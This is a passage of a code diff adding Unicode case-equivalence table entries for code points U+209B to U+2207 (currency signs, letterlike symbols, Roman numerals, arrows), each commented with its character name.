+ [0x209b, 0x209b], /* LATIN SUBSCRIPT SMALL LETTER S */
+ [0x209c, 0x209c], /* LATIN SUBSCRIPT SMALL LETTER T */
+ [0x209d, 0x209d],
+ [0x209e, 0x209e],
+ [0x209f, 0x209f],
+ [0x20a0, 0x20a0], /* EURO-CURRENCY SIGN */
+ [0x20a1, 0x20a1], /* COLON SIGN */
+ [0x20a2, 0x20a2], /* CRUZEIRO SIGN */
+ [0x20a3, 0x20a3], /* FRENCH FRANC SIGN */
+ [0x20a4, 0x20a4], /* LIRA SIGN */
+ [0x20a5, 0x20a5], /* MILL SIGN */
+ [0x20a6, 0x20a6], /* NAIRA SIGN */
+ [0x20a7, 0x20a7], /* PESETA SIGN */
+ [0x20a8, 0x20a8], /* RUPEE SIGN */
+ [0x20a9, 0x20a9], /* WON SIGN */
+ [0x20aa, 0x20aa], /* NEW SHEQEL SIGN */
+ [0x20ab, 0x20ab], /* DONG SIGN */
+ [0x20ac, 0x20ac], /* EURO SIGN */
+ [0x20ad, 0x20ad], /* KIP SIGN */
+ [0x20ae, 0x20ae], /* TUGRIK SIGN */
+ [0x20af, 0x20af], /* DRACHMA SIGN */
+ [0x20b0, 0x20b0], /* GERMAN PENNY SIGN */
+ [0x20b1, 0x20b1], /* PESO SIGN */
+ [0x20b2, 0x20b2], /* GUARANI SIGN */
+ [0x20b3, 0x20b3], /* AUSTRAL SIGN */
+ [0x20b4, 0x20b4], /* HRYVNIA SIGN */
+ [0x20b5, 0x20b5], /* CEDI SIGN */
+ [0x20b6, 0x20b6], /* LIVRE TOURNOIS SIGN */
+ [0x20b7, 0x20b7], /* SPESMILO SIGN */
+ [0x20b8, 0x20b8], /* TENGE SIGN */
+ [0x20b9, 0x20b9], /* INDIAN RUPEE SIGN */
+ [0x20ba, 0x20ba], /* TURKISH LIRA SIGN */
+ [0x20bb, 0x20bb], /* NORDIC MARK SIGN */
+ [0x20bc, 0x20bc], /* MANAT SIGN */
+ [0x20bd, 0x20bd], /* RUBLE SIGN */
+ [0x20be, 0x20be], /* LARI SIGN */
+ [0x20bf, 0x20bf],
+ [0x20c0, 0x20c0],
+ [0x20c1, 0x20c1],
+ [0x20c2, 0x20c2],
+ [0x20c3, 0x20c3],
+ [0x20c4, 0x20c4],
+ [0x20c5, 0x20c5],
+ [0x20c6, 0x20c6],
+ [0x20c7, 0x20c7],
+ [0x20c8, 0x20c8],
+ [0x20c9, 0x20c9],
+ [0x20ca, 0x20ca],
+ [0x20cb, 0x20cb],
+ [0x20cc, 0x20cc],
+ [0x20cd, 0x20cd],
+ [0x20ce, 0x20ce],
+ [0x20cf, 0x20cf],
+ [0x20d0, 0x20d0], /* COMBINING LEFT HARPOON ABOVE (NON-SPACING LEFT HARPOON ABOVE) */
+ [0x20d1, 0x20d1], /* COMBINING RIGHT HARPOON ABOVE (NON-SPACING RIGHT HARPOON ABOVE) */
+ [0x20d2, 0x20d2], /* COMBINING LONG VERTICAL LINE OVERLAY (NON-SPACING LONG VERTICAL BAR OVERLAY) */
+ [0x20d3, 0x20d3], /* COMBINING SHORT VERTICAL LINE OVERLAY (NON-SPACING SHORT VERTICAL BAR OVERLAY) */
+ [0x20d4, 0x20d4], /* COMBINING ANTICLOCKWISE ARROW ABOVE (NON-SPACING ANTICLOCKWISE ARROW ABOVE) */
+ [0x20d5, 0x20d5], /* COMBINING CLOCKWISE ARROW ABOVE (NON-SPACING CLOCKWISE ARROW ABOVE) */
+ [0x20d6, 0x20d6], /* COMBINING LEFT ARROW ABOVE (NON-SPACING LEFT ARROW ABOVE) */
+ [0x20d7, 0x20d7], /* COMBINING RIGHT ARROW ABOVE (NON-SPACING RIGHT ARROW ABOVE) */
+ [0x20d8, 0x20d8], /* COMBINING RING OVERLAY (NON-SPACING RING OVERLAY) */
+ [0x20d9, 0x20d9], /* COMBINING CLOCKWISE RING OVERLAY (NON-SPACING CLOCKWISE RING OVERLAY) */
+ [0x20da, 0x20da], /* COMBINING ANTICLOCKWISE RING OVERLAY (NON-SPACING ANTICLOCKWISE RING OVERLAY) */
+ [0x20db, 0x20db], /* COMBINING THREE DOTS ABOVE (NON-SPACING THREE DOTS ABOVE) */
+ [0x20dc, 0x20dc], /* COMBINING FOUR DOTS ABOVE (NON-SPACING FOUR DOTS ABOVE) */
+ [0x20dd, 0x20dd], /* COMBINING ENCLOSING CIRCLE (ENCLOSING CIRCLE) */
+ [0x20de, 0x20de], /* COMBINING ENCLOSING SQUARE (ENCLOSING SQUARE) */
+ [0x20df, 0x20df], /* COMBINING ENCLOSING DIAMOND (ENCLOSING DIAMOND) */
+ [0x20e0, 0x20e0], /* COMBINING ENCLOSING CIRCLE BACKSLASH (ENCLOSING CIRCLE SLASH) */
+ [0x20e1, 0x20e1], /* COMBINING LEFT RIGHT ARROW ABOVE (NON-SPACING LEFT RIGHT ARROW ABOVE) */
+ [0x20e2, 0x20e2], /* COMBINING ENCLOSING SCREEN */
+ [0x20e3, 0x20e3], /* COMBINING ENCLOSING KEYCAP */
+ [0x20e4, 0x20e4], /* COMBINING ENCLOSING UPWARD POINTING TRIANGLE */
+ [0x20e5, 0x20e5], /* COMBINING REVERSE SOLIDUS OVERLAY */
+ [0x20e6, 0x20e6], /* COMBINING DOUBLE VERTICAL STROKE OVERLAY */
+ [0x20e7, 0x20e7], /* COMBINING ANNUITY SYMBOL */
+ [0x20e8, 0x20e8], /* COMBINING TRIPLE UNDERDOT */
+ [0x20e9, 0x20e9], /* COMBINING WIDE BRIDGE ABOVE */
+ [0x20ea, 0x20ea], /* COMBINING LEFTWARDS ARROW OVERLAY */
+ [0x20eb, 0x20eb], /* COMBINING LONG DOUBLE SOLIDUS OVERLAY */
+ [0x20ec, 0x20ec], /* COMBINING RIGHTWARDS HARPOON WITH BARB DOWNWARDS */
+ [0x20ed, 0x20ed], /* COMBINING LEFTWARDS HARPOON WITH BARB DOWNWARDS */
+ [0x20ee, 0x20ee], /* COMBINING LEFT ARROW BELOW */
+ [0x20ef, 0x20ef], /* COMBINING RIGHT ARROW BELOW */
+ [0x20f0, 0x20f0], /* COMBINING ASTERISK ABOVE */
+ [0x20f1, 0x20f1],
+ [0x20f2, 0x20f2],
+ [0x20f3, 0x20f3],
+ [0x20f4, 0x20f4],
+ [0x20f5, 0x20f5],
+ [0x20f6, 0x20f6],
+ [0x20f7, 0x20f7],
+ [0x20f8, 0x20f8],
+ [0x20f9, 0x20f9],
+ [0x20fa, 0x20fa],
+ [0x20fb, 0x20fb],
+ [0x20fc, 0x20fc],
+ [0x20fd, 0x20fd],
+ [0x20fe, 0x20fe],
+ [0x20ff, 0x20ff],
+ [0x2100, 0x2100], /* ACCOUNT OF */
+ [0x2101, 0x2101], /* ADDRESSED TO THE SUBJECT */
+ [0x2102, 0x2102], /* DOUBLE-STRUCK CAPITAL C (DOUBLE-STRUCK C) */
+ [0x2103, 0x2103], /* DEGREE CELSIUS (DEGREES CENTIGRADE) */
+ [0x2104, 0x2104], /* CENTRE LINE SYMBOL (C L SYMBOL) */
+ [0x2105, 0x2105], /* CARE OF */
+ [0x2106, 0x2106], /* CADA UNA */
+ [0x2107, 0x2107], /* EULER CONSTANT (EULERS) */
+ [0x2108, 0x2108], /* SCRUPLE */
+ [0x2109, 0x2109], /* DEGREE FAHRENHEIT (DEGREES FAHRENHEIT) */
+ [0x210a, 0x210a], /* SCRIPT SMALL G */
+ [0x210b, 0x210b], /* SCRIPT CAPITAL H (SCRIPT H) */
+ [0x210c, 0x210c], /* BLACK-LETTER CAPITAL H (BLACK-LETTER H) */
+ [0x210d, 0x210d], /* DOUBLE-STRUCK CAPITAL H (DOUBLE-STRUCK H) */
+ [0x210e, 0x210e], /* PLANCK CONSTANT */
+ [0x210f, 0x210f], /* PLANCK CONSTANT OVER TWO PI (PLANCK CONSTANT OVER 2 PI) */
+ [0x2110, 0x2110], /* SCRIPT CAPITAL I (SCRIPT I) */
+ [0x2111, 0x2111], /* BLACK-LETTER CAPITAL I (BLACK-LETTER I) */
+ [0x2112, 0x2112], /* SCRIPT CAPITAL L (SCRIPT L) */
+ [0x2113, 0x2113], /* SCRIPT SMALL L */
+ [0x2114, 0x2114], /* L B BAR SYMBOL */
+ [0x2115, 0x2115], /* DOUBLE-STRUCK CAPITAL N (DOUBLE-STRUCK N) */
+ [0x2116, 0x2116], /* NUMERO SIGN (NUMERO) */
+ [0x2117, 0x2117], /* SOUND RECORDING COPYRIGHT */
+ [0x2118, 0x2118], /* SCRIPT CAPITAL P (SCRIPT P) */
+ [0x2119, 0x2119], /* DOUBLE-STRUCK CAPITAL P (DOUBLE-STRUCK P) */
+ [0x211a, 0x211a], /* DOUBLE-STRUCK CAPITAL Q (DOUBLE-STRUCK Q) */
+ [0x211b, 0x211b], /* SCRIPT CAPITAL R (SCRIPT R) */
+ [0x211c, 0x211c], /* BLACK-LETTER CAPITAL R (BLACK-LETTER R) */
+ [0x211d, 0x211d], /* DOUBLE-STRUCK CAPITAL R (DOUBLE-STRUCK R) */
+ [0x211e, 0x211e], /* PRESCRIPTION TAKE */
+ [0x211f, 0x211f], /* RESPONSE */
+ [0x2120, 0x2120], /* SERVICE MARK */
+ [0x2121, 0x2121], /* TELEPHONE SIGN (T E L SYMBOL) */
+ [0x2122, 0x2122], /* TRADE MARK SIGN (TRADEMARK) */
+ [0x2123, 0x2123], /* VERSICLE */
+ [0x2124, 0x2124], /* DOUBLE-STRUCK CAPITAL Z (DOUBLE-STRUCK Z) */
+ [0x2125, 0x2125], /* OUNCE SIGN (OUNCE) */
+ [0x2126, 0x3c9], /* OHM SIGN (OHM) */
+ [0x2127, 0x2127], /* INVERTED OHM SIGN (MHO) */
+ [0x2128, 0x2128], /* BLACK-LETTER CAPITAL Z (BLACK-LETTER Z) */
+ [0x2129, 0x2129], /* TURNED GREEK SMALL LETTER IOTA */
+ [0x212a, 0x6b], /* KELVIN SIGN (DEGREES KELVIN) */
+ [0x212b, 0xe5], /* ANGSTROM SIGN (ANGSTROM UNIT) */
+ [0x212c, 0x212c], /* SCRIPT CAPITAL B (SCRIPT B) */
+ [0x212d, 0x212d], /* BLACK-LETTER CAPITAL C (BLACK-LETTER C) */
+ [0x212e, 0x212e], /* ESTIMATED SYMBOL */
+ [0x212f, 0x212f], /* SCRIPT SMALL E */
+ [0x2130, 0x2130], /* SCRIPT CAPITAL E (SCRIPT E) */
+ [0x2131, 0x2131], /* SCRIPT CAPITAL F (SCRIPT F) */
+ [0x2132, 0x214e], /* TURNED CAPITAL F (TURNED F) */
+ [0x2133, 0x2133], /* SCRIPT CAPITAL M (SCRIPT M) */
+ [0x2134, 0x2134], /* SCRIPT SMALL O */
+ [0x2135, 0x2135], /* ALEF SYMBOL (FIRST TRANSFINITE CARDINAL) */
+ [0x2136, 0x2136], /* BET SYMBOL (SECOND TRANSFINITE CARDINAL) */
+ [0x2137, 0x2137], /* GIMEL SYMBOL (THIRD TRANSFINITE CARDINAL) */
+ [0x2138, 0x2138], /* DALET SYMBOL (FOURTH TRANSFINITE CARDINAL) */
+ [0x2139, 0x2139], /* INFORMATION SOURCE */
+ [0x213a, 0x213a], /* ROTATED CAPITAL Q */
+ [0x213b, 0x213b], /* FACSIMILE SIGN */
+ [0x213c, 0x213c], /* DOUBLE-STRUCK SMALL PI */
+ [0x213d, 0x213d], /* DOUBLE-STRUCK SMALL GAMMA */
+ [0x213e, 0x213e], /* DOUBLE-STRUCK CAPITAL GAMMA */
+ [0x213f, 0x213f], /* DOUBLE-STRUCK CAPITAL PI */
+ [0x2140, 0x2140], /* DOUBLE-STRUCK N-ARY SUMMATION */
+ [0x2141, 0x2141], /* TURNED SANS-SERIF CAPITAL G */
+ [0x2142, 0x2142], /* TURNED SANS-SERIF CAPITAL L */
+ [0x2143, 0x2143], /* REVERSED SANS-SERIF CAPITAL L */
+ [0x2144, 0x2144], /* TURNED SANS-SERIF CAPITAL Y */
+ [0x2145, 0x2145], /* DOUBLE-STRUCK ITALIC CAPITAL D */
+ [0x2146, 0x2146], /* DOUBLE-STRUCK ITALIC SMALL D */
+ [0x2147, 0x2147], /* DOUBLE-STRUCK ITALIC SMALL E */
+ [0x2148, 0x2148], /* DOUBLE-STRUCK ITALIC SMALL I */
+ [0x2149, 0x2149], /* DOUBLE-STRUCK ITALIC SMALL J */
+ [0x214a, 0x214a], /* PROPERTY LINE */
+ [0x214b, 0x214b], /* TURNED AMPERSAND */
+ [0x214c, 0x214c], /* PER SIGN */
+ [0x214d, 0x214d], /* AKTIESELSKAB */
+ [0x2132, 0x214e], /* TURNED SMALL F */
+ [0x214f, 0x214f], /* SYMBOL FOR SAMARITAN SOURCE */
+ [0x2150, 0x2150], /* VULGAR FRACTION ONE SEVENTH */
+ [0x2151, 0x2151], /* VULGAR FRACTION ONE NINTH */
+ [0x2152, 0x2152], /* VULGAR FRACTION ONE TENTH */
+ [0x2153, 0x2153], /* VULGAR FRACTION ONE THIRD (FRACTION ONE THIRD) */
+ [0x2154, 0x2154], /* VULGAR FRACTION TWO THIRDS (FRACTION TWO THIRDS) */
+ [0x2155, 0x2155], /* VULGAR FRACTION ONE FIFTH (FRACTION ONE FIFTH) */
+ [0x2156, 0x2156], /* VULGAR FRACTION TWO FIFTHS (FRACTION TWO FIFTHS) */
+ [0x2157, 0x2157], /* VULGAR FRACTION THREE FIFTHS (FRACTION THREE FIFTHS) */
+ [0x2158, 0x2158], /* VULGAR FRACTION FOUR FIFTHS (FRACTION FOUR FIFTHS) */
+ [0x2159, 0x2159], /* VULGAR FRACTION ONE SIXTH (FRACTION ONE SIXTH) */
+ [0x215a, 0x215a], /* VULGAR FRACTION FIVE SIXTHS (FRACTION FIVE SIXTHS) */
+ [0x215b, 0x215b], /* VULGAR FRACTION ONE EIGHTH (FRACTION ONE EIGHTH) */
+ [0x215c, 0x215c], /* VULGAR FRACTION THREE EIGHTHS (FRACTION THREE EIGHTHS) */
+ [0x215d, 0x215d], /* VULGAR FRACTION FIVE EIGHTHS (FRACTION FIVE EIGHTHS) */
+ [0x215e, 0x215e], /* VULGAR FRACTION SEVEN EIGHTHS (FRACTION SEVEN EIGHTHS) */
+ [0x215f, 0x215f], /* FRACTION NUMERATOR ONE */
+ [0x2160, 0x2170], /* ROMAN NUMERAL ONE */
+ [0x2161, 0x2171], /* ROMAN NUMERAL TWO */
+ [0x2162, 0x2172], /* ROMAN NUMERAL THREE */
+ [0x2163, 0x2173], /* ROMAN NUMERAL FOUR */
+ [0x2164, 0x2174], /* ROMAN NUMERAL FIVE */
+ [0x2165, 0x2175], /* ROMAN NUMERAL SIX */
+ [0x2166, 0x2176], /* ROMAN NUMERAL SEVEN */
+ [0x2167, 0x2177], /* ROMAN NUMERAL EIGHT */
+ [0x2168, 0x2178], /* ROMAN NUMERAL NINE */
+ [0x2169, 0x2179], /* ROMAN NUMERAL TEN */
+ [0x216a, 0x217a], /* ROMAN NUMERAL ELEVEN */
+ [0x216b, 0x217b], /* ROMAN NUMERAL TWELVE */
+ [0x216c, 0x217c], /* ROMAN NUMERAL FIFTY */
+ [0x216d, 0x217d], /* ROMAN NUMERAL ONE HUNDRED */
+ [0x216e, 0x217e], /* ROMAN NUMERAL FIVE HUNDRED */
+ [0x216f, 0x217f], /* ROMAN NUMERAL ONE THOUSAND */
+ [0x2160, 0x2170], /* SMALL ROMAN NUMERAL ONE */
+ [0x2161, 0x2171], /* SMALL ROMAN NUMERAL TWO */
+ [0x2162, 0x2172], /* SMALL ROMAN NUMERAL THREE */
+ [0x2163, 0x2173], /* SMALL ROMAN NUMERAL FOUR */
+ [0x2164, 0x2174], /* SMALL ROMAN NUMERAL FIVE */
+ [0x2165, 0x2175], /* SMALL ROMAN NUMERAL SIX */
+ [0x2166, 0x2176], /* SMALL ROMAN NUMERAL SEVEN */
+ [0x2167, 0x2177], /* SMALL ROMAN NUMERAL EIGHT */
+ [0x2168, 0x2178], /* SMALL ROMAN NUMERAL NINE */
+ [0x2169, 0x2179], /* SMALL ROMAN NUMERAL TEN */
+ [0x216a, 0x217a], /* SMALL ROMAN NUMERAL ELEVEN */
+ [0x216b, 0x217b], /* SMALL ROMAN NUMERAL TWELVE */
+ [0x216c, 0x217c], /* SMALL ROMAN NUMERAL FIFTY */
+ [0x216d, 0x217d], /* SMALL ROMAN NUMERAL ONE HUNDRED */
+ [0x216e, 0x217e], /* SMALL ROMAN NUMERAL FIVE HUNDRED */
+ [0x216f, 0x217f], /* SMALL ROMAN NUMERAL ONE THOUSAND */
+ [0x2180, 0x2180], /* ROMAN NUMERAL ONE THOUSAND C D */
+ [0x2181, 0x2181], /* ROMAN NUMERAL FIVE THOUSAND */
+ [0x2182, 0x2182], /* ROMAN NUMERAL TEN THOUSAND */
+ [0x2183, 0x2184], /* ROMAN NUMERAL REVERSED ONE HUNDRED */
+ [0x2183, 0x2184], /* LATIN SMALL LETTER REVERSED C */
+ [0x2185, 0x2185], /* ROMAN NUMERAL SIX LATE FORM */
+ [0x2186, 0x2186], /* ROMAN NUMERAL FIFTY EARLY FORM */
+ [0x2187, 0x2187], /* ROMAN NUMERAL FIFTY THOUSAND */
+ [0x2188, 0x2188], /* ROMAN NUMERAL ONE HUNDRED THOUSAND */
+ [0x2189, 0x2189], /* VULGAR FRACTION ZERO THIRDS */
+ [0x218a, 0x218a], /* TURNED DIGIT TWO */
+ [0x218b, 0x218b], /* TURNED DIGIT THREE */
+ [0x218c, 0x218c],
+ [0x218d, 0x218d],
+ [0x218e, 0x218e],
+ [0x218f, 0x218f],
+ [0x2190, 0x2190], /* LEFTWARDS ARROW (LEFT ARROW) */
+ [0x2191, 0x2191], /* UPWARDS ARROW (UP ARROW) */
+ [0x2192, 0x2192], /* RIGHTWARDS ARROW (RIGHT ARROW) */
+ [0x2193, 0x2193], /* DOWNWARDS ARROW (DOWN ARROW) */
+ [0x2194, 0x2194], /* LEFT RIGHT ARROW */
+ [0x2195, 0x2195], /* UP DOWN ARROW */
+ [0x2196, 0x2196], /* NORTH WEST ARROW (UPPER LEFT ARROW) */
+ [0x2197, 0x2197], /* NORTH EAST ARROW (UPPER RIGHT ARROW) */
+ [0x2198, 0x2198], /* SOUTH EAST ARROW (LOWER RIGHT ARROW) */
+ [0x2199, 0x2199], /* SOUTH WEST ARROW (LOWER LEFT ARROW) */
+ [0x219a, 0x219a], /* LEFTWARDS ARROW WITH STROKE (LEFT ARROW WITH STROKE) */
+ [0x219b, 0x219b], /* RIGHTWARDS ARROW WITH STROKE (RIGHT ARROW WITH STROKE) */
+ [0x219c, 0x219c], /* LEFTWARDS WAVE ARROW (LEFT WAVE ARROW) */
+ [0x219d, 0x219d], /* RIGHTWARDS WAVE ARROW (RIGHT WAVE ARROW) */
+ [0x219e, 0x219e], /* LEFTWARDS TWO HEADED ARROW (LEFT TWO HEADED ARROW) */
+ [0x219f, 0x219f], /* UPWARDS TWO HEADED ARROW (UP TWO HEADED ARROW) */
+ [0x21a0, 0x21a0], /* RIGHTWARDS TWO HEADED ARROW (RIGHT TWO HEADED ARROW) */
+ [0x21a1, 0x21a1], /* DOWNWARDS TWO HEADED ARROW (DOWN TWO HEADED ARROW) */
+ [0x21a2, 0x21a2], /* LEFTWARDS ARROW WITH TAIL (LEFT ARROW WITH TAIL) */
+ [0x21a3, 0x21a3], /* RIGHTWARDS ARROW WITH TAIL (RIGHT ARROW WITH TAIL) */
+ [0x21a4, 0x21a4], /* LEFTWARDS ARROW FROM BAR (LEFT ARROW FROM BAR) */
+ [0x21a5, 0x21a5], /* UPWARDS ARROW FROM BAR (UP ARROW FROM BAR) */
+ [0x21a6, 0x21a6], /* RIGHTWARDS ARROW FROM BAR (RIGHT ARROW FROM BAR) */
+ [0x21a7, 0x21a7], /* DOWNWARDS ARROW FROM BAR (DOWN ARROW FROM BAR) */
+ [0x21a8, 0x21a8], /* UP DOWN ARROW WITH BASE */
+ [0x21a9, 0x21a9], /* LEFTWARDS ARROW WITH HOOK (LEFT ARROW WITH HOOK) */
+ [0x21aa, 0x21aa], /* RIGHTWARDS ARROW WITH HOOK (RIGHT ARROW WITH HOOK) */
+ [0x21ab, 0x21ab], /* LEFTWARDS ARROW WITH LOOP (LEFT ARROW WITH LOOP) */
+ [0x21ac, 0x21ac], /* RIGHTWARDS ARROW WITH LOOP (RIGHT ARROW WITH LOOP) */
+ [0x21ad, 0x21ad], /* LEFT RIGHT WAVE ARROW */
+ [0x21ae, 0x21ae], /* LEFT RIGHT ARROW WITH STROKE */
+ [0x21af, 0x21af], /* DOWNWARDS ZIGZAG ARROW (DOWN ZIGZAG ARROW) */
+ [0x21b0, 0x21b0], /* UPWARDS ARROW WITH TIP LEFTWARDS (UP ARROW WITH TIP LEFT) */
+ [0x21b1, 0x21b1], /* UPWARDS ARROW WITH TIP RIGHTWARDS (UP ARROW WITH TIP RIGHT) */
+ [0x21b2, 0x21b2], /* DOWNWARDS ARROW WITH TIP LEFTWARDS (DOWN ARROW WITH TIP LEFT) */
+ [0x21b3, 0x21b3], /* DOWNWARDS ARROW WITH TIP RIGHTWARDS (DOWN ARROW WITH TIP RIGHT) */
+ [0x21b4, 0x21b4], /* RIGHTWARDS ARROW WITH CORNER DOWNWARDS (RIGHT ARROW WITH CORNER DOWN) */
+ [0x21b5, 0x21b5], /* DOWNWARDS ARROW WITH CORNER LEFTWARDS (DOWN ARROW WITH CORNER LEFT) */
+ [0x21b6, 0x21b6], /* ANTICLOCKWISE TOP SEMICIRCLE ARROW */
+ [0x21b7, 0x21b7], /* CLOCKWISE TOP SEMICIRCLE ARROW */
+ [0x21b8, 0x21b8], /* NORTH WEST ARROW TO LONG BAR (UPPER LEFT ARROW TO LONG BAR) */
+ [0x21b9, 0x21b9], /* LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR (LEFT ARROW TO BAR OVER RIGHT ARROW TO BAR) */
+ [0x21ba, 0x21ba], /* ANTICLOCKWISE OPEN CIRCLE ARROW */
+ [0x21bb, 0x21bb], /* CLOCKWISE OPEN CIRCLE ARROW */
+ [0x21bc, 0x21bc], /* LEFTWARDS HARPOON WITH BARB UPWARDS (LEFT HARPOON WITH BARB UP) */
+ [0x21bd, 0x21bd], /* LEFTWARDS HARPOON WITH BARB DOWNWARDS (LEFT HARPOON WITH BARB DOWN) */
+ [0x21be, 0x21be], /* UPWARDS HARPOON WITH BARB RIGHTWARDS (UP HARPOON WITH BARB RIGHT) */
+ [0x21bf, 0x21bf], /* UPWARDS HARPOON WITH BARB LEFTWARDS (UP HARPOON WITH BARB LEFT) */
+ [0x21c0, 0x21c0], /* RIGHTWARDS HARPOON WITH BARB UPWARDS (RIGHT HARPOON WITH BARB UP) */
+ [0x21c1, 0x21c1], /* RIGHTWARDS HARPOON WITH BARB DOWNWARDS (RIGHT HARPOON WITH BARB DOWN) */
+ [0x21c2, 0x21c2], /* DOWNWARDS HARPOON WITH BARB RIGHTWARDS (DOWN HARPOON WITH BARB RIGHT) */
+ [0x21c3, 0x21c3], /* DOWNWARDS HARPOON WITH BARB LEFTWARDS (DOWN HARPOON WITH BARB LEFT) */
+ [0x21c4, 0x21c4], /* RIGHTWARDS ARROW OVER LEFTWARDS ARROW (RIGHT ARROW OVER LEFT ARROW) */
+ [0x21c5, 0x21c5], /* UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW (UP ARROW LEFT OF DOWN ARROW) */
+ [0x21c6, 0x21c6], /* LEFTWARDS ARROW OVER RIGHTWARDS ARROW (LEFT ARROW OVER RIGHT ARROW) */
+ [0x21c7, 0x21c7], /* LEFTWARDS PAIRED ARROWS (LEFT PAIRED ARROWS) */
+ [0x21c8, 0x21c8], /* UPWARDS PAIRED ARROWS (UP PAIRED ARROWS) */
+ [0x21c9, 0x21c9], /* RIGHTWARDS PAIRED ARROWS (RIGHT PAIRED ARROWS) */
+ [0x21ca, 0x21ca], /* DOWNWARDS PAIRED ARROWS (DOWN PAIRED ARROWS) */
+ [0x21cb, 0x21cb], /* LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON (LEFT HARPOON OVER RIGHT HARPOON) */
+ [0x21cc, 0x21cc], /* RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON (RIGHT HARPOON OVER LEFT HARPOON) */
+ [0x21cd, 0x21cd], /* LEFTWARDS DOUBLE ARROW WITH STROKE (LEFT DOUBLE ARROW WITH STROKE) */
+ [0x21ce, 0x21ce], /* LEFT RIGHT DOUBLE ARROW WITH STROKE */
+ [0x21cf, 0x21cf], /* RIGHTWARDS DOUBLE ARROW WITH STROKE (RIGHT DOUBLE ARROW WITH STROKE) */
+ [0x21d0, 0x21d0], /* LEFTWARDS DOUBLE ARROW (LEFT DOUBLE ARROW) */
+ [0x21d1, 0x21d1], /* UPWARDS DOUBLE ARROW (UP DOUBLE ARROW) */
+ [0x21d2, 0x21d2], /* RIGHTWARDS DOUBLE ARROW (RIGHT DOUBLE ARROW) */
+ [0x21d3, 0x21d3], /* DOWNWARDS DOUBLE ARROW (DOWN DOUBLE ARROW) */
+ [0x21d4, 0x21d4], /* LEFT RIGHT DOUBLE ARROW */
+ [0x21d5, 0x21d5], /* UP DOWN DOUBLE ARROW */
+ [0x21d6, 0x21d6], /* NORTH WEST DOUBLE ARROW (UPPER LEFT DOUBLE ARROW) */
+ [0x21d7, 0x21d7], /* NORTH EAST DOUBLE ARROW (UPPER RIGHT DOUBLE ARROW) */
+ [0x21d8, 0x21d8], /* SOUTH EAST DOUBLE ARROW (LOWER RIGHT DOUBLE ARROW) */
+ [0x21d9, 0x21d9], /* SOUTH WEST DOUBLE ARROW (LOWER LEFT DOUBLE ARROW) */
+ [0x21da, 0x21da], /* LEFTWARDS TRIPLE ARROW (LEFT TRIPLE ARROW) */
+ [0x21db, 0x21db], /* RIGHTWARDS TRIPLE ARROW (RIGHT TRIPLE ARROW) */
+ [0x21dc, 0x21dc], /* LEFTWARDS SQUIGGLE ARROW (LEFT SQUIGGLE ARROW) */
+ [0x21dd, 0x21dd], /* RIGHTWARDS SQUIGGLE ARROW (RIGHT SQUIGGLE ARROW) */
+ [0x21de, 0x21de], /* UPWARDS ARROW WITH DOUBLE STROKE (UP ARROW WITH DOUBLE STROKE) */
+ [0x21df, 0x21df], /* DOWNWARDS ARROW WITH DOUBLE STROKE (DOWN ARROW WITH DOUBLE STROKE) */
+ [0x21e0, 0x21e0], /* LEFTWARDS DASHED ARROW (LEFT DASHED ARROW) */
+ [0x21e1, 0x21e1], /* UPWARDS DASHED ARROW (UP DASHED ARROW) */
+ [0x21e2, 0x21e2], /* RIGHTWARDS DASHED ARROW (RIGHT DASHED ARROW) */
+ [0x21e3, 0x21e3], /* DOWNWARDS DASHED ARROW (DOWN DASHED ARROW) */
+ [0x21e4, 0x21e4], /* LEFTWARDS ARROW TO BAR (LEFT ARROW TO BAR) */
+ [0x21e5, 0x21e5], /* RIGHTWARDS ARROW TO BAR (RIGHT ARROW TO BAR) */
+ [0x21e6, 0x21e6], /* LEFTWARDS WHITE ARROW (WHITE LEFT ARROW) */
+ [0x21e7, 0x21e7], /* UPWARDS WHITE ARROW (WHITE UP ARROW) */
+ [0x21e8, 0x21e8], /* RIGHTWARDS WHITE ARROW (WHITE RIGHT ARROW) */
+ [0x21e9, 0x21e9], /* DOWNWARDS WHITE ARROW (WHITE DOWN ARROW) */
+ [0x21ea, 0x21ea], /* UPWARDS WHITE ARROW FROM BAR (WHITE UP ARROW FROM BAR) */
+ [0x21eb, 0x21eb], /* UPWARDS WHITE ARROW ON PEDESTAL */
+ [0x21ec, 0x21ec], /* UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR */
+ [0x21ed, 0x21ed], /* UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR */
+ [0x21ee, 0x21ee], /* UPWARDS WHITE DOUBLE ARROW */
+ [0x21ef, 0x21ef], /* UPWARDS WHITE DOUBLE ARROW ON PEDESTAL */
+ [0x21f0, 0x21f0], /* RIGHTWARDS WHITE ARROW FROM WALL */
+ [0x21f1, 0x21f1], /* NORTH WEST ARROW TO CORNER */
+ [0x21f2, 0x21f2], /* SOUTH EAST ARROW TO CORNER */
+ [0x21f3, 0x21f3], /* UP DOWN WHITE ARROW */
+ [0x21f4, 0x21f4], /* RIGHT ARROW WITH SMALL CIRCLE */
+ [0x21f5, 0x21f5], /* DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW */
+ [0x21f6, 0x21f6], /* THREE RIGHTWARDS ARROWS */
+ [0x21f7, 0x21f7], /* LEFTWARDS ARROW WITH VERTICAL STROKE */
+ [0x21f8, 0x21f8], /* RIGHTWARDS ARROW WITH VERTICAL STROKE */
+ [0x21f9, 0x21f9], /* LEFT RIGHT ARROW WITH VERTICAL STROKE */
+ [0x21fa, 0x21fa], /* LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ [0x21fb, 0x21fb], /* RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ [0x21fc, 0x21fc], /* LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE */
+ [0x21fd, 0x21fd], /* LEFTWARDS OPEN-HEADED ARROW */
+ [0x21fe, 0x21fe], /* RIGHTWARDS OPEN-HEADED ARROW */
+ [0x21ff, 0x21ff], /* LEFT RIGHT OPEN-HEADED ARROW */
+ [0x2200, 0x2200], /* FOR ALL */
+ [0x2201, 0x2201], /* COMPLEMENT */
+ [0x2202, 0x2202], /* PARTIAL DIFFERENTIAL */
+ [0x2203, 0x2203], /* THERE EXISTS */
+ [0x2204, 0x2204], /* THERE DOES NOT EXIST */
+ [0x2205, 0x2205], /* EMPTY SET */
+ [0x2206, 0x2206], /* INCREMENT */
+ [0x2207, 0x2207], /* NABLA */
